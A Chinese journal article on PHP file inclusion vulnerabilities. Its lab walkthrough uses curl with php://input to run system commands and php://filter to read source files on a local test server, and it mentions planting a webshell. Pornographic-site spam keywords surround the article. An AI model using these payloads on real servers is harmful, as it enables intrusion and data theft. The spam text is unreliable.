999精品在线视频,手机成人午夜在线视频,久久不卡国产精品无码,中日无码在线观看,成人av手机在线观看,日韩精品亚洲一区中文字幕,亚洲av无码人妻,四虎国产在线观看 ?

PHP文件包含漏洞分析

2020-05-26 02:03:34魯先志柏海龍周均
卷宗 2020年8期

魯先志 柏海龍 周均

摘 要:文件包含漏洞是PHP語言開發的web系統中普遍存在的一類漏洞,本文分析了文件包含漏洞的原理,設計一個實驗案例展示文件包含漏洞的利用過程。

關鍵詞:漏洞;PHP語言;web系統

PHP語言開發的WEB系統程序有著快速開發快速部署,系統開發實施周期短的優勢,但PHP語言開發的WEB系統也普遍存在一些典型的漏洞,如:跨站腳本漏洞、SQL注入漏洞、代碼執行漏洞、文件包含漏洞及PHP代碼注入漏洞等[1]。

1 文件包含基本概念

文件包含漏洞主要是基于PHP語言的web應用程序中發生的。程序員寫程序時將公用代碼寫在單獨的文件中,然后其他函數需要使用該代碼時直接包含調用[2]。嚴格來說,文件包含漏洞是“代碼注入”的一種。“代碼注入”這種攻擊,其原理就是注入一段用戶能控制的腳本或代碼,并讓服務器端執行。“代碼注入”的典型代碼就是文件包含,可以理解為“外部數據流包含”,至于這個外部數據流是什么,可以是文件,也可以是POST數據流的形式。

2 PHP的封裝協議(偽協議)

php漏洞利用中常用偽協議為以下兩種:

①php://filter--對本地磁盤文件進行讀寫,改協議經常用來讀取源代碼并進行base64編碼輸出,不然會直接源代碼會當做php代碼執行就看不到源代碼內容。

條件:allow_url_fopen :off/on? allow_url_include:off/on

用法:php://filter/convert.base64-encode/resource=a.php

//將a.php源代碼以base64編碼輸出

②php://input 可以訪問請求的原始數據的只讀流,將post請求中的數據作為PHP代碼執行。

條件:allow_url_fopen :off/on? ? allow_url_include:on

用法:http://127.0.0.1/cmd.php?file=php://input

[POST DATA] <?php phpinfo()?>//執行phpinfo函數

除了以上的協議以外,php支持的還有以下封裝協議(其中常用為data與ftp協議):file:// http:// ftp:// php:// zlib:// glob:// phar:// ssh2:// rar:// ogg:// expect://

3 php文件包含漏洞的實現

本實驗搭建了一個具有PHP文件包含漏洞的web系統,通過使用的工具是Linux系統下的curl命令,實現對目標服務器127.0.0.1:7521的滲透,并成功獲取到系統的敏感信息。

1.通過curl命令訪問目標網址:curl 127.0.0.1:7521

2.上圖顯示了目標系統的網頁源碼和兩項php配置

1.源代碼中有include函數,并且存在未過濾的可控參數path,此處存在有文件包含漏洞的風險。

2.系統中有兩項文件包含的相關配置,allow_url_fopen為off,allow_url_include為on,遠程文件包含需要allow_url_fopen為on,所以無法進行直接包含遠程文件,達到getshell

3.PHP配置項allow_url_include為on,所以可以通過相關偽協議達到文件讀取與命令執行的目的,data協議需要兩項都為on,此處使用php://filter和php://input達到目的。

4.通過命令執行讀取本地文件

通過可控的path參數,利用php://input,注入php的命令執行語句,來達到命令執行。(此處使用system函數),通過curl發送如下包

curl -d “<?php system(ls); ?>”/

http://127.0.0.1/index.php?path=php://input

5.查看返回的數據中,標簽后有我們執行后的結果。此處有三個文件,可以猜測出flag應該在f10g.php文件中。

6.訪問f10g.php? curl http://127.0.0.1:7521/f10g.php

7.通過php://filter讀取f10g.php源代碼

curl \

http://127.0.0.1:7521/index.php?path=php://filter/convert.base64-encode/resource=f10g.php

返回的數據中標簽后有base64編碼后的顯示有源代碼數據,可以通過base64解碼來查看源代碼

4 小結

本次的滲透測試案例展示了一個簡單的PHP文件上傳漏洞并利用該漏洞獲取到系統的敏感數據。我們在實際的滲透過程中可以通過多種方式來利用該漏洞,根據系統環境中PHP配置文件和服務器配置的不同來靈活利用該漏洞,比如可以利用php://input來寫入一句話木馬,也可以直接讀取關鍵配置文件,還可以通過php://input執行系統命令。

參考文獻

[1]劉鵬,張玉清常見安全漏洞攻防研究[J].信息網絡安全,2011(07)33-36.

[2]周開東等.遠程文件包含漏洞分級檢測工具研究[J].計算機應用與軟件,2014(02)21-23.

[3]趙潤梓.基于WEB滲透的自動化文件上傳漏洞檢測工具實現[J].網絡全,2020(03)27-28.

主站蜘蛛池模板: 爽爽影院十八禁在线观看| 精品亚洲国产成人AV| 国产精品黄色片| 97国产精品视频自在拍| 国产美女自慰在线观看| 在线一级毛片| 天堂va亚洲va欧美va国产| 嫩草影院在线观看精品视频| 亚洲精品国偷自产在线91正片| 成人字幕网视频在线观看| 中文字幕在线一区二区在线| 92午夜福利影院一区二区三区| 91精品国产麻豆国产自产在线| 一级毛片不卡片免费观看| 狠狠久久综合伊人不卡| 99久久国产精品无码| 在线网站18禁| 久久香蕉国产线看精品| 国产伦精品一区二区三区视频优播 | 99re视频在线| 日韩欧美成人高清在线观看| 国产美女主播一级成人毛片| 国产精品午夜福利麻豆| 毛片网站在线看| 亚洲一区二区成人| 国产日本欧美亚洲精品视| 免费啪啪网址| 国产高清精品在线91| 国产毛片高清一级国语 | 亚洲 日韩 激情 无码 中出| 99久久精品免费视频| 全部免费毛片免费播放| 国产精品性| 国产午夜小视频| 91偷拍一区| 亚洲欧美另类日本| 国产精品一区不卡| 欧美精品一区在线看| 看国产一级毛片| 99这里只有精品6| 免费人成网站在线观看欧美| 91av成人日本不卡三区| 伊人婷婷色香五月综合缴缴情| 亚洲天堂网在线播放| 91青青视频| 国产精品毛片一区| 亚洲国产高清精品线久久| 久久精品欧美一区二区| 亚洲男人的天堂久久精品| 国产在线视频福利资源站| 久久semm亚洲国产| 女人18一级毛片免费观看| 免费无遮挡AV| 无码AV日韩一二三区| 亚洲成在线观看| 性视频久久| 亚洲色精品国产一区二区三区| 成人午夜天| 欧美日韩成人| 在线另类稀缺国产呦| 国产毛片高清一级国语 | 狠狠色婷婷丁香综合久久韩国| 午夜啪啪网| 国产福利观看| 91久久天天躁狠狠躁夜夜| 欲色天天综合网| 国产成人综合久久精品尤物| 国产人成午夜免费看| 久久激情影院| 成人在线欧美| 高清码无在线看| 人妻中文久热无码丝袜| 久久毛片网| 欧美日韩资源| 成人免费视频一区二区三区 | 亚洲综合九九| 亚洲制服丝袜第一页| 国产乱子伦无码精品小说| 欧美激情视频二区三区| 久久黄色毛片| 亚洲欧洲日产国码无码av喷潮| 国产无遮挡猛进猛出免费软件|